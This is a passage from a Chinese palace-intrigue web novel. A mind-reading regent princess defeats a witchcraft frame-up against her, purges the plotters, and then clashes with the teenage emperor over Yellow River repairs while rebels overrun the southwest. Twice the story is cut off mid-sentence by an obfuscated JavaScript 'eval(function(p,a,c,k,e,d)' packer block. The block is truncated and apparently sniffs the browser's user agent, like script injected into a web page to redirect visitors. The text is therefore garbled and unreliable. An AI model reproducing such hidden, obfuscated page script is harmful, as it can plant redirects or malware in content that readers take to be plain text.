百姓的心声,像一股股暖流,涌入阿沅的心底,也让她更加坚定了自己的想法。她知道,这半年,是苏瑾成长的关键时期,也是她为苏瑾扫清最后障碍的关键时期。那些朝中的守旧老臣与藩王残余势力,绝不会轻易善罢甘休,定会在这半年里,暗中谋划,给苏瑾制造麻烦,她必须时刻保持警惕,为苏瑾保驾护航,确保半年之后,苏瑾能顺利亲政,掌控朝政。 接下来的日子里,归政三步之策有条不紊地推行着。苏瑾依照策令,开始亲掌祭祀、册立等礼仪之事,阿沅则从旁辅佐,教他帝王的言行举止,教他如何树立帝王威信。苏瑾学得很认真,只是偶尔还是会露出稚嫩的一面,遇到事情,依旧会第一时间询问阿沅的意见。 而阿沅,则开始逐步将朝中六部的事务,移交苏瑾处理。从最基础的奏折批阅,到官员的考核任免,再到国家的财政收支、军队的布防调遣,阿沅都耐心地教导苏瑾,指点他处理朝政的方法与技巧,教他如何分辨忠奸,如何权衡利弊,如何做出最有利于大楚江山社稷的决断。 在这个过程中,那些朝中的守旧老臣与藩王残余势力,果然如阿沅所料,暗中谋划,给苏瑾制造了不少麻烦。 先是吏部尚书,在官员考核任免之事上,暗中安插自己的亲信,想要拉拢势力,架空苏瑾。阿沅从苏瑾的心声中得知此事后,并未直接出手,而是指点苏瑾,让他亲自前往吏部,核查官员考核的档案,找出吏部尚书安插亲信的证据,然后在朝会上,当众斥责吏部尚书,削去其吏部尚书之职,贬为庶人,流放边疆。 此举一出,朝野震动,那些暗中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是,阿沅不知道的是,人心向背,并非一朝一夕所能改变,她三年来的功绩,早已深深烙印在大楚百姓与百官的心底,就算她想要归政退居幕后,百姓与百官,也未必会让她如愿。而一场更大的风波,也正在悄然酝酿,这场风波,不仅关乎苏瑾的亲政,更关乎阿沅的命运,关乎大楚的未来。 承平三年秋,洛水河畔的柳叶开始泛黄,半年之期已到,阿沅如约,向苏瑾呈上了归政奏折,请求彻底归政,退居长乐宫,不再干预朝政。 金銮殿上,苏瑾手持阿沅的归政奏折,看着阶下的文武百官,又看了看立于身侧的阿沅,心底满是不舍与感激:【阿沅姐姐辅佐我三年,教会我如何处理朝政,如何做一位帝王,若是没有阿沅姐姐,就没有今日的我,也没有今日的大楚。我真的不想让阿沅姐姐归政,我还想继续得到阿沅姐姐的辅佐。】 而阶下的文武百官,在看到阿沅的归政奏折后,竟无一人出列附和,反而一个个面露焦急,纷纷想要开口劝说。他们的心声,如潮水般涌入阿沅的耳朵里,让阿沅的心底,泛起了一丝涟漪。 【长公主怎能归政?如今虽朝局清明,可尚有不少隐患,若是长公主归政,退居幕后,皇上若是遇到难题,无人指点,恐生变数。】 【长公主功高盖世,民心所向,我大楚能有今日的盛景,全赖长公主之功,就算长公主不摄政,也该继续留在朝中,辅佐皇上,为大楚的江山社稷保驾护航。】 【百姓心中,早已将长公主视作大楚的定海神针,若是长公主归政退居幕后,百姓定会心生不安,恐影响民心稳定。】 更让阿沅意外的是,就连那些曾经强烈要求归政的守旧老臣,此刻也面露焦急,心底满是悔意:【当初不该执意要求长公主归政,如今才知,长公主对大楚的重要性,若是长公主归政退居幕后,大楚的江山社稷,恐将失去依靠。】 苏瑾看着阶下沉默的百官,又听着他们的心声,终于下定了决心,他将归政奏折放在龙案上,站起身,对着阿沅躬身行礼,声音诚恳而恭敬:“阿沅姐姐,三年来,你辅佐朕,平定藩王之乱,推行新政,稳定朝局,护大楚国泰民安,朕感激不尽。如今虽半年之期已到,可朕深知,自己尚且有许多不足,大楚的江山社稷,也依旧需要阿沅姐姐的守护。朕恳请阿沅姐姐,继续留在朝中,辅佐朕,不必归政,朕愿与阿沅姐姐,共掌大楚江山!” 苏瑾的话音落,金銮殿上的文武百官,纷纷跪倒在地,高声道:“臣等恳请长公主,留朝辅政,共掌大楚江山!” 声音整齐而响亮,传遍整个金銮殿,也传遍了整个皇宫,甚至传到了京城的大街小巷。百姓得知后,纷纷跪倒在地,朝着皇宫的方向叩拜,高声呼喊:“恳请长公主,留朝辅政,共掌大楚江山!” 呼声震天,响彻云霄,汇聚成一股汹涌的力量,涌向长乐宫,涌向阿沅。 阿沅站在金銮殿上,看着跪倒在地的文武百官,听着宫外震天的呼声,感受着那股汹涌的民心,眼底泛起了一丝湿润。她知道,自己终究还是无法归政退居幕后,大楚的百姓与百官,需要她,大楚的江山社稷,需要她。 她缓缓抬手,示意众人起身,声音带着几分哽咽,却依旧坚定:“诸位大人,天下百姓,阿沅何德何能,得诸位与百姓如此厚爱?既然陛下与诸位大人、天下百姓,皆愿阿沅留朝辅政,那阿沅便不再推辞。从今往后,阿沅依旧留在朝中,辅佐陛下,与陛下共掌大楚江山,护大楚国泰民安,护天下百姓安居乐业!” 话音落,金銮殿上,文武百官齐声高呼:“长公主千岁千岁千千岁!陛下万岁万岁万万岁!” 宫外,百姓也齐声高呼,呼声震天,久久不散。 归政风波,最终以阿沅留朝辅政,与苏瑾共掌大楚江山而落幕。这场风波,让阿沅的威望达到了顶峰,也让大楚的百姓与百官,更加坚定地站在阿沅身边。而阿沅与苏瑾共掌江山的局面,也让大楚的朝局,愈发稳定,大楚的江山,也愈发牢固。只是,阿沅与苏瑾共掌江山,终究还是打破了“帝王独掌天下”的祖制,也让一些隐藏在暗处的势力,更加蠢蠢欲动。而阿沅的命运,也在这一刻,再次发生了转折,她离那至高无上的帝王之位,也越来越近。 20. 巫蛊之祸,铁血清君侧 承平四年,大楚江山稳固,国泰民安,阿沅与苏瑾共掌朝政,朝局清明,百姓安居乐业,一派盛世景象。可看似平静的表象之下,却隐藏着一股暗流,这股暗流,来自于前朝的旧势力,也来自于皇室内部的一些宗亲,他们始终无法接受女子与帝王共掌江山的局面,认为阿沅“牝鸡司晨”,违背祖制,想要伺机除掉阿沅,重新夺回朝政大权。 这股势力的核心,是皇上的叔公,赵王苏敬。赵王乃先帝的叔父,辈分极高,在皇室宗亲中颇有威望,只是先帝在位时,赵王因谋夺太子之位,被先帝削去兵权,贬回封地,一直心怀怨恨。阿沅临朝称制后,赵王暗中联络了前朝的守旧老臣与藩王的残余势力,蛰伏多年,如今见阿沅与苏瑾共掌江山,威望日盛,便再也按捺不住,想要伺机发难,除掉阿沅,扶持自己的孙子,也就是苏瑾的堂弟苏洵为帝,掌控朝政。 赵王深知,阿沅威望极高,民心所向,又有赵谦手握京中兵权,想要正面扳倒阿沅,几乎是不可能的事情。唯有使用阴毒的手段,栽赃陷害,让阿沅身败名裂,失去皇上与百姓的信任,才能一举除掉她。而赵王选择的手段,便是历朝历代最为阴毒,也最能动摇帝王信任的——巫蛊之术。 巫蛊之术,在大楚乃是禁术,历代帝王皆明令禁止,凡涉及巫蛊之术者,皆以谋逆论处,诛九族。赵王正是看中了这一点,想要利用巫蛊之术,栽赃阿沅想要谋害皇上,谋夺皇位,从而借皇上之手,除掉阿沅。 为了实施这个阴谋,赵王暗中培养了一批擅长巫蛊之术的巫师,潜入京城,在自己的王府中,偷偷制作了刻有苏瑾生辰八字的木偶,埋在阿沅的长乐宫地下,同时,又暗中买通了长乐宫的一个小宫女,让她在合适的时机,向皇上揭发阿沅使用巫蛊之术谋害皇上的“罪行”。 这个小宫女,名叫碧桃,本是浣衣局的一个底层宫女,因长相清秀,被选入长乐宫,伺候阿沅的起居。碧桃家境贫寒,家中父母病重,急需银两医治,赵王正是看中了这一点,以重金与医治其父母为诱饵,收买了碧桃,让她成为自己安插在长乐宫的棋子。碧桃虽知此事乃是诛九族的大罪,可为了救治父母,还是答应了赵王,心底满是恐惧与挣扎:【我也不想背叛长公主,长公主待我不薄,可父母的性命,就在赵王的手中,我若是不答应,父母就会没命。我只能对不起长公主了,希望长公主能原谅我。】 阿沅虽能听到别人的心声,可碧桃平日里谨小慎微,心底的恐惧与挣扎,都被她刻意隐藏,再加上阿沅平日里忙于朝政,对身边的宫女太监,虽有警惕,却也并未时刻留意,竟一时之间,没有察觉碧桃的异样,也没有发现赵王的阴谋。 承平四年冬,京城下起了第一场大雪,整个皇宫都被皑皑白雪覆盖,银装素裹,美不胜收。可就在这看似祥和的雪景之下,一场惊天的阴谋,正在悄然展开。 这日,苏瑾前往长乐宫,向阿沅请教处理朝政的问题,碧桃端着茶水,走进殿内,放下茶水后,突然跪倒在地,泪流满面,高声道:“陛下,长公主,奴婢有要事启奏,此事关乎陛下的性命,关乎大楚的江山社稷,奴婢不敢隐瞒!” 苏瑾与阿沅皆是一愣,苏瑾道:“碧桃,你有何事,尽管说来,不必惊慌。” 碧桃抬起头,脸上满是惶恐,却又带着几分“坚定”:“陛下,奴婢要揭发,摄政长公主,也就是阿沅长公主,暗中使用巫蛊之术,谋害陛下,想要谋夺皇位!” 此言一出,长乐宫内瞬间陷入死寂,苏瑾的脸色瞬间变得惨白,不敢置信地看着阿沅:“阿沅姐姐,这……这是真的吗?你怎么会做出这样的事情?”他的心底,满是震惊与疑惑,还有一丝不易察觉的猜忌:【阿沅姐姐一直辅佐我,对我极好,可碧桃为何要揭发她使用巫蛊之术谋害我?难道,阿沅姐姐真的贪恋权位,想要谋夺我的皇位?】 阿沅的脸色也瞬间沉了下来,她看着跪倒在地的碧桃,耳边瞬间响起了碧桃心底的心声,还有那些隐藏在暗处的,赵王与同党们的心声,整个阴谋的来龙去脉,瞬间清晰地呈现在阿沅的脑海里。 【碧桃这个蠢货,果然按照我的吩咐做了,只要她揭发阿沅使用巫蛊之术谋害皇上,阿沅就算有百口也难辩,皇上定会对她心生猜忌,失去信任,到时候,我再联合朝中大臣,弹劾阿沅,定能一举除掉她,扶持洵儿登基。】这是赵王的心声,满是得意与狂妄。 【巫蛊之术乃是禁术,阿沅竟敢使用巫蛊之术谋害皇上,罪该万死!只要此事坐实,定能将阿沅扳倒,恢复皇室与祖制的威严。】这是赵王同党,一位前朝守旧老臣的心声,满是幸灾乐祸。 【我对不起长公主,可我也是被逼无奈,希望长公主能原谅我,希望陛下能饶了我的父母。】这是碧桃的心声,满是恐惧与愧疚。 阿沅瞬间明白,自己落入了赵王精心设计的陷阱之中。巫蛊之术,乃是大楚禁术,涉及者皆以谋逆论处,如今碧桃揭发她使用巫蛊之术谋害皇上,就算她有百口,也难辩清白,更何况,赵王早已在长乐宫地下埋了刻有苏瑾生辰八字的木偶,只要派人去搜,必定能搜出“证据”,到时候,她就算浑身是嘴,也说不清了。 而苏瑾此刻的猜忌,更是让阿沅的心底,泛起了一丝寒意。这三年来,她尽心尽力辅佐苏瑾,掏心掏肺,教会他如何做一位帝王,如何守护大楚的江山社稷,可终究抵不过旁人的一句栽赃陷害,抵不过帝王心中那与生俱来的猜忌。 阿沅压下心底的寒意与愤怒,神色平静地看着苏瑾,沉声道:“陛下,碧桃所言,纯属污蔑!阿沅辅佐陛下三年,尽心尽力,从未有过半分谋逆之心,更不会使用巫蛊之术这等禁术,谋害陛下。此事定是有人精心设计的陷阱,想要栽赃陷害阿沅,扰乱朝局,还请陛下明察!” 碧桃见阿沅辩解,连忙道:“陛下,奴婢所言句句属实,绝无污蔑!长公主确实在暗中使用巫蛊之术谋害陛下,奴婢亲眼看到长公主的贴身宫女,将刻有陛下生辰八字的木偶,埋在长乐宫的海棠树下!陛下若是不信,可派人前去搜查,定能搜出证据!” 苏瑾看着碧桃信誓旦旦的样子,又想起巫蛊之术的可怕,心底的猜忌愈发浓重,他沉吟片刻,道:“阿沅姐姐,朕也不愿相信此事是真的,可碧桃言之凿凿,还请朕派人搜查。为了证明你的清白,也为了安民心,朕只能派人前去长乐宫搜查,还望阿沅姐姐见谅。” 说完,苏瑾便下令,让禁军统领赵谦,带领禁军,前往长乐宫的海棠树下,进行搜查。 赵谦接到旨意,心底满是震惊与愤怒,他深知阿沅的为人,绝不可能做出这样的事情,此事定是有人栽赃陷害。他看向阿沅,眼神里满是担忧,阿沅对着他微微摇头,示意他按旨行事,同时,用眼神向他传递了一个信息——暗中调查,找出幕后黑手。 赵谦会意,躬身道:“臣遵旨。” 随后,赵谦便带领禁军,前往长乐宫的海棠树下,开始挖掘。长乐宫内的宫女太监,还有苏瑾与阿沅,都站在一旁,目光紧紧盯着挖掘的地方,气氛紧张到了极点。 碧桃站在一旁,双手紧紧攥着衣角,心底满是恐惧与不安:【千万要搜出木偶,千万要搜出木偶,不然,我和我的父母,都要死无葬身之地了。】 阿沅站在一旁,神色平静,可心底却在飞速思索着应对之策。她知道,赵王既然精心设计了这个陷阱,必定会在海棠树下埋下班偶,搜查的结果,定然对自己不利。如今,唯一的办法,就是在搜出木偶之后,稳住局面,拖延时间,让赵谦暗中调查,找出赵王栽赃陷害的证据,同时,利用自己的听心异能,捕捉赵王与同党的心声,找到他们的破绽,一举揭穿他们的阴谋。 很快,禁军便在海棠树下,挖出了一个精致的木盒,木盒打开,里面赫然是一个刻有苏瑾生辰八字的木偶,木偶的身上,插满了银针,模样狰狞,一看便是用于巫蛊之术的东西。 “陛下,找到了!真的找到了刻有陛下生辰八字的木偶!”禁军士兵高声道,将木盒呈到苏瑾面前。 苏瑾看着木盒里的木偶,脸色瞬间变得铁青,眼神里满是愤怒与失望,他看向阿沅,声音颤抖:“阿沅姐姐,这……这作何解释?铁证如山,你还有什么话可说?”他的心底,此刻已满是猜忌与愤怒,再也没有了半分信任:【原来碧桃所言都是真的,阿沅姐姐真的在使用巫蛊之术谋害我,她真的贪恋权位,想要谋夺我的皇位!我真是瞎了眼,竟然一直信任她,把她当作亲姐姐一样对待!】 碧桃见搜出了木偶,心底的恐惧瞬间散去,取而代之的是一丝庆幸,她跪倒在地,高声道:“陛下,铁证如山,长公主谋害陛下的罪行,已是板上钉钉,恳请陛下下旨,将长公主治罪,以正国法!” 就在这时,朝中的那些赵王同党,也不知从何处得到了消息,纷纷涌入长乐宫,跪倒在地,高声道:“陛下,巫蛊之术,乃大楚禁术,长公主使用巫蛊之术谋害陛下,谋逆之心,昭然若揭,罪该万死!恳请陛下下旨,将长公主废黜,打入天牢,以正国法,以安民心!” 这些人一个个神色坚定,看似义正词严,实则心底满是得意与狂妄,他们知道,只要苏瑾下旨将阿沅治罪,他们就能趁机掌控朝政,扶持苏洵登基。 长乐宫内,瞬间陷入了一片混乱,那些赵王同党齐声高呼,要求治阿沅的罪,而阿沅的亲信,如户部尚书、柳太傅等人,虽想要为阿沅辩解,却因铁证如山,无从开口,只能面露焦急,看着阿沅,等待着她的决断。 阿沅看着眼前的一切,看着苏瑾愤怒的眼神,看着那些赵王同党得意的嘴脸,看着那个刻有苏瑾生辰八字的木偶,眼底掠过一丝冰冷的杀意。她知道,此刻越是辩解,越是显得苍白无力,唯有以铁血手段,稳住局面,才能揭穿赵王的阴谋,洗清自己的冤屈。 阿沅猛地向前一步,紫绶朝服在风中微扬,自带一股铁血威严,她抬手示意众人安静,声音清冽而坚定,压过了所有人的呼喊:“住口!区区一个木偶,便能定我阿沅的罪?未免太过可笑!这木偶是谁埋在海棠树下的,谁也说不清,焉知不是有人故意栽赃陷害,想要借巫蛊之祸,除掉我阿沅,扰乱朝局,谋夺大楚的江山社稷?” 阿沅的声音,带着一股强大的气场,让长乐宫内瞬间鸦雀无声,所有的人,都被她的气势所震慑,就连苏瑾,也愣在了原地,心底的愤怒,稍稍平复了几分,多了一丝疑惑:【阿沅姐姐说得也有道理,这木偶是谁埋的,确实说不清,焉知不是有人栽赃陷害?】 阿沅继续道:“巫蛊之术,乃大楚禁术,我阿沅身为摄政长公主,辅佐陛下,守护大楚的江山社稷,岂会不知此乃诛九族的大罪?我若真有谋逆之心,想要谋害陛下,何须使用这等阴毒的禁术,授人以柄?此事定是有人精心设计的陷阱,幕后之人,定然是那些心怀不轨,想要谋夺大楚江山的奸佞之徒!” 阿沅的目光,冷冷地扫过那些赵王同党,声音陡然拔高:“今日,我阿沅就在这里立誓,若是我真有谋害陛下之心,使用巫蛊之术,愿遭天打雷劈,不得好死!可若是有人栽赃陷害我,想要扰乱朝局,谋夺大楚江山,我阿沅定将其碎尸万段,诛其九族,绝不姑息!” 誓言铿锵,掷地有声,让在场的所有人,都为之动容。那些赵王同党,被阿沅的目光扫过,心底纷纷泛起了一丝恐惧,不敢与她对视。 【这阿沅好强的气场,竟然一点都不慌乱,难道她早就知道了我们的阴谋?】 【铁证如山,她竟然还能如此狡辩,还敢立誓,真是胆大包天!】 【不管她如何狡辩,木偶已经搜出来了,皇上定不会饶了她,我们只需继续逼迫皇上,定能将她治罪。】 阿沅听着他们的心声,眼底的杀意更浓,她知道,这些人都是赵王的爪牙,想要扳倒自己,谋夺江山,今日若是不将他们一网打尽,日后必成大患。 就在这时,阿沅看向跪倒在地的碧桃,沉声道:“碧桃,你说你亲眼看到我的贴身宫女,将木偶埋在海棠树下,那你倒是说说,我的贴身宫女是谁?何时埋的?埋的时候,还有何人在场?你一一说来,若是有半句假话,我定将你凌迟处死!” 碧桃被阿沅冰冷的目光盯着,心底瞬间泛起了强烈的恐惧,浑身瑟瑟发抖,她本就是被赵王收买,随口编造的谎言,哪里能说得清这些细节?她支支吾吾,半天说不出一句话,脸色惨白如纸:【我该怎么说?赵王只让我揭发长公主,并没有告诉我这些细节,我根本说不出来,这下完了,我肯定要死了。】 阿沅看着碧桃支支吾吾的样子,冷笑一声:“怎么?说不出来了?看来,你所言之事,全是编造的谎言,你根本就是被人收买,故意栽赃陷害我!说,是谁派你来的?是谁让你做这些事情的?若是你如实招来,我尚可饶你一命,还会医治你的父母;若是你执意隐瞒,我定将你凌迟处死,诛你九族!” 阿沅的话,字字诛心,碧桃本就心怀恐惧与愧疚,此刻被阿沅一逼,心理防线瞬间崩溃,她跪倒在地,连连磕头,泪流满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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处理完这些人,阿沅看向跪倒在地的碧桃,沉声道:“碧桃,你虽被赵王收买,栽赃陷害于我,可最终能如实招供,揭发赵王的阴谋,也算戴罪立功。我答应你,会医治你的父母,也会饶你一命,只是,你背叛主上,罪不可赦,从今往后,废去宫女身份,贬为庶人,永远不得踏入京城一步。” 碧桃闻言,连连磕头,泪流满面:“谢长公主饶命!谢长公主饶命!奴婢以后,定当改过自新,再也不敢做任何伤天害理之事!” 说完,碧桃便被禁军士兵带了下去,前往家乡,与父母团聚。 解决了眼前的危机,长乐宫内终于恢复了平静,只剩下苏瑾与阿沅,还有柳太傅、户部尚书等几位亲信大臣。 苏瑾走到阿沅面前,对着她深深躬身,声音带着几分哽咽,满是愧疚:“阿沅姐姐,对不起,是朕不好,是朕轻易相信了旁人的谗言,猜忌了你,让你受了委屈。朕向你赔罪,还望阿沅姐姐见谅。” 阿沅看着苏瑾愧疚的样子,心底的寒意渐渐散去,她知道,苏瑾终究还是太过年轻,缺乏帝王应有的沉稳与判断力,容易被人利用。她扶起苏瑾,轻声道:“陛下无需道歉,此事乃是赵王精心设计的陷阱,换做任何人,恐怕都会心生猜忌。陛下能及时醒悟,查明真相,已是万幸。如今,最重要的是彻查巫蛊之祸,将所有参与其中的同党悉数拿下,以正国法,以安民心。” 苏瑾点了点头,神色坚定:“阿沅姐姐说得是,朕定当彻查此事,将所有参与巫蛊之祸的奸佞之徒,悉数治罪,绝不姑息!朕还下旨,昭告天下,为阿沅姐姐洗清冤屈,恢复阿沅姐姐的名誉!” 随后,苏瑾便下旨,昭告天下,揭露赵王苏敬策划巫蛊之祸,栽赃陷害摄政长公主的阴谋,为阿沅洗清冤屈,恢复名誉。同时,下令彻查巫蛊之祸,凡参与其中者,无论身份高低,一律以谋逆论处,诛九族。 旨意颁行天下,百姓得知后,纷纷拍手称快,既为阿沅洗清冤屈而欣喜,也为赵王的狼子野心而愤怒。他们对阿沅的爱戴与敬仰,愈发深厚,也更加坚定了跟随阿沅,守护大楚江山的决心。 【赵王真是狼子野心,竟然敢策划巫蛊之祸,栽赃陷害长公主,罪该万死!】 【长公主忠心耿耿,辅佐陛下,守护大楚,却遭人栽赃陷害,真是太委屈了。】 【皇上能及时醒悟,为长公主洗清冤屈,也算明辨是非,只是还是太过稚嫩,需要长公主继续辅佐。】 而赵谦率领禁军,包围赵王府后,赵王苏敬自知罪无可赦,想要拔剑自刎,却被禁军士兵拦下,生擒活捉,押入天牢。他的孙子苏洵,还有赵王府的所有族人,也悉数被拿下,打入天牢。 随后,在阿沅的亲自督办下,巫蛊之祸的彻查工作,有条不紊地展开。那些参与其中的赵王同党,无论是前朝的守旧老臣,还是藩王的残余势力,亦或是皇室内部的宗亲,都被一一揪出,悉数拿下,打入天牢。此次彻查,牵连甚广,共拿下奸佞之徒三百余人,其中不乏王公贵族、朝中大臣,一时间,京城上下,人心惶惶,却也让朝野上下,为之一清,那些隐藏在暗处的奸佞之徒,被一网打尽,再也无法兴风作浪。 承平四年腊月,巫蛊之祸彻查完毕,苏瑾下旨,将赵王苏敬凌迟处死,诛其九族,其孙子苏洵,还有所有参与巫蛊之祸的奸佞之徒,悉数斩首示众,抄没家产,充入国库。 旨意下达,朝野上下,一片肃然,无人再敢轻易挑战阿沅的权威,也无人再敢轻易谋逆作乱。经此一役,阿沅的威望,达到了前所未有的高度,大楚的百姓与百官,对阿沅的信任与拥戴,也达到了顶峰。而苏瑾,也在这场巫蛊之祸中,得到了历练,变得更加沉稳与果决,也更加清楚地认识到,阿沅对大楚的重要性,对自己的重要性,从此,再也没有半分猜忌,对阿沅言听计从,真心实意地将阿沅当作自己的亲姐姐,当作大楚的定海神针。 巫蛊之祸,最终以阿沅的大获全胜,奸佞之徒的悉数伏法而落幕。这场风波,虽让阿沅身陷险境,却也让她彻底清除了朝中的所有反对势力,稳固了自己的地位,也让大楚的朝局,变得更加清明,更加稳定。而经此一役,大楚的百姓与百官,心中也渐渐形成了一个共识——大楚的江山,离不开阿沅,阿沅,才是大楚真正的帝王。 腊月的京城,大雪纷飞,可长乐宫内,却一片温暖。阿沅坐在窗前,看着窗外的皑皑白雪,耳边听着宫外百姓的心声,听着朝中百官的心声,神色平静,眼底却闪烁着一丝坚定的光芒。她知道,经此一役,她离那至高无上的帝王之位,又近了一步。 21. 亲政掣肘,藩余作祟,内忧外患接踵至 承平五年春,大楚都城洛阳的护城河解冻,岸旁的柳丝抽了新绿,可金銮殿上的气氛,却始终凝着一层化不开的寒霜。自巫蛊之祸平定后,苏瑾虽对阿沅愈发信任,事事皆以她的意见为准,可随着年岁渐长,十七岁的少年帝王,心底也悄然生出了亲掌大权的念头。这份念头,起初只是微末的星火,却在朝中几个新晋年轻官员的刻意撺掇下,渐渐成了燎原之势。 这些年轻官员,多是通过科举入仕的寒门子弟,靠着苏瑾的提拔才得以跻身朝堂,他们一心想要攀附帝王,成就一番功业,便日日在苏瑾耳边进言,称“帝王当乾纲独断,不可久居人下”,又说“长公主虽功高,然女子辅政终非长久之计,如今朝局安稳,陛下当亲掌朝政,彰显帝王威仪”。苏瑾本就对阿沅的权柄过重心存一丝微妙的在意,经此撺掇,心底的亲政之心愈发强烈,只是碍于阿沅的威望与恩情,始终难以启齿,可在处理朝政时,却渐渐开始流露出独断的倾向,屡屡与阿沅的决策相悖。 这日早朝,户部上奏请拨银两修缮黄河大堤,称去年秋汛后大堤多处溃损,若不及时修缮,今夏汛期恐酿大祸。阿沅看过奏折后,当即提出拨内帑三百万两,同时令沿河各州府自筹两百万两,限半年内完成大堤修缮,又举荐治水经验丰富的工部侍郎徐清为治水总领,全权负责此事。此决策思虑周全,兼顾了国库收支与地方权责,朝中大臣皆纷纷附议,可苏瑾却突然开口,道:“徐清虽有治水之才,却性情刚直,恐与地方官员生隙,不如改任吏部侍郎李博为治水总领。至于银两,内帑需留作军需,只拨一百万两,其余皆由地方自筹即可。” 此言一出,金銮殿上一片寂静,众臣皆是面露诧异。李博出身世家,素日只会钻营逢迎,毫无治水经验,而黄河大堤修缮事关沿河数百万百姓的性命,岂是儿戏?更遑论只拨一百万两内帑,地方各州府本就因连年战乱府库空虚,根本无力自筹四百万两,此决策一出,治水之事必成空谈。 阿沅眉心微蹙,看向苏瑾,沉声道:“陛下,李博素无治水经验,黄河大堤修缮乃重中之重,不可任人唯亲。内帑虽需留作军需,然治水乃民生大计,若大堤溃损,百姓流离失所,恐生民变,彼时军需耗费更甚,三百万两内帑不可少。还请陛下三思。” 苏瑾的脸色瞬间沉了下来,心底的不满与愠怒尽数显露:【阿沅姐姐又在朝堂上反驳我,全然不顾及我的帝王颜面。我已是大楚帝王,难道连任命一个治水总领、调拨多少银两的主都做不了?她就是觉得我年幼,处处掣肘我,根本不想让我真正亲政。】他强压着怒火,语气生硬道:“朕意已决,李博为治水总领,内帑拨一百万两,此事无需再议。” 说完,苏瑾便甩袖宣布退朝,留下满朝文武面面相觑,阿沅站在金銮殿中央,看着苏瑾离去的背影,耳边还回荡着他那满是怨怼与执拗的心声,心底泛起一丝深深的无力与疲惫。她并非想要掣肘苏瑾,只是黄河治水事关重大,容不得半分差错,可苏瑾却因一时的意气用事,置民生大计于不顾,这让她不得不忧心。 更让阿沅忧心的是,她从苏瑾的心声里,听到了那些年轻官员的算计:【只要陛下坚持己见,与长公主产生嫌隙,我们便能趁机拉拢势力,待陛下彻底亲政,我们便是从龙之臣,荣华富贵指日可待。】这些人,借着苏瑾的亲政之心,刻意挑拨离间,想要离间她与苏瑾的关系,从而坐收渔利,搅乱朝局。 阿沅深知,若任由苏瑾这般行事,不仅黄河治水之事会出纰漏,朝局也必将陷入混乱。可她若是强行反对,又会被苏瑾视作“贪恋权位,不肯归政”,反而会加剧两人之间的嫌隙,给那些别有用心之人可乘之机。两难之际,柳太傅与赵谦走到她身边,柳太傅叹道:“长公主,陛下年少气盛,又被小人撺掇,一时走入了歧途。可黄河治水事关重大,绝不能任由李博前去,老臣愿与几位大臣联名上奏,恳请陛下收回成命。” 赵谦也沉声道:“末将也愿联名上奏,若陛下执意不肯,末将愿亲赴沿河各州府,督办治水之事,绝不让大堤溃损,害了百姓。” 阿沅摇了摇头,道:“陛下此刻正在气头上,联名上奏只会让他更加逆反,非但不能收回成命,反而会加剧嫌隙。李博既为治水总领,便让他去,只是需派徐清为副,暗中辅佐,同时令监察院随行,监督银两使用与工程进度。至于内帑银两,我自会从长公主府的私产中拿出两百万两,补足治水所需,不与陛下争执。” 她的心中清楚,此时的退让,并非妥协,而是为了顾全大局,为了缓和与苏瑾的关系,也为了确保治水之事能顺利进行。可她的这份苦心,苏瑾却未必能懂,反而会视作她的退让是理亏,愈发坚定自己亲政独断的想法。 不出阿沅所料,苏瑾得知阿沅不仅没有再反对,还自掏私产补足治水银两后,心底的不满虽消了几分,却也生出了一丝得意:【看来阿沅姐姐也知道自己理亏,不敢再与朕争执。朕乃大楚帝王,本就该一言九鼎。】他愈发信任那些撺掇他的年轻官员,将他们纷纷提拔,安置在六部关键职位上,朝堂之上,渐渐形成了一股以苏瑾为首,与阿沅相抗衡的“帝党”势力。 阿沅对此看在眼里,急在心里,却始终没有轻易出手。她知道,苏瑾终究是帝王,需要有自己的势力,也需要在历练中成长,若是一味打压,反而会让他心生怨恨,难以真正成为一位合格的帝王。她只能默默看着,暗中做好防备,一旦“帝党”的行为触及到江山社稷与百姓利益的底线,便及时出手制止。 可屋漏偏逢连夜雨,内忧未平,外患又至。巫蛊之祸虽平定了赵王为首的皇室宗亲叛乱,可那些散落各地的藩王残余势力,却并未彻底清除。蜀王、吴王虽死,但其麾下的旧部,仍有不少人逃入了西南的深山之中,与当地的蛮族勾结,盘踞一方,时常袭扰西南各州府,烧杀抢掠,无恶不作。西南各州府官员屡屡上奏,请朝廷派兵清剿,可苏瑾却在“帝党”官员的撺掇下,认为这些残余势力不过是乌合之众,无需大动干戈,只需令地方守军清剿即可,迟迟不肯派遣京中禁军前往。 地方守军本就兵力薄弱,又缺乏精良的兵器与训练,根本不是藩王残余势力与蛮族联军的对手,屡屡战败,西南各州府的局势愈发危急。短短三个月,西南三州接连失陷,百姓流离失所,无数难民涌入周边州府,引发了严重的流民危机。更可怕的是,蛮族见藩王残余势力势大,便也生出了觊觎大楚疆土的心思,暗中联络北方的匈奴,想要南北夹击,瓜分大楚。 消息传回洛阳,朝野震动,金銮殿上,苏瑾看着西南各州府的告急奏折,脸色惨白,这才意识到自己犯下了大错,心底满是慌乱与懊悔:【怎么会这样?那些残余势力怎么会这么厉害?朕不该不听阿沅姐姐的话,不该只让地方守军清剿,如今西南局势危急,可该如何是好?】 那些曾经撺掇苏瑾的“帝党”官员,此刻也个个噤若寒蝉,不敢再发一言,心底满是惶恐:【这下完了,西南局势危急,陛下定会迁怒于我们,若是长公主再追究起来,我们的性命怕是难保。】 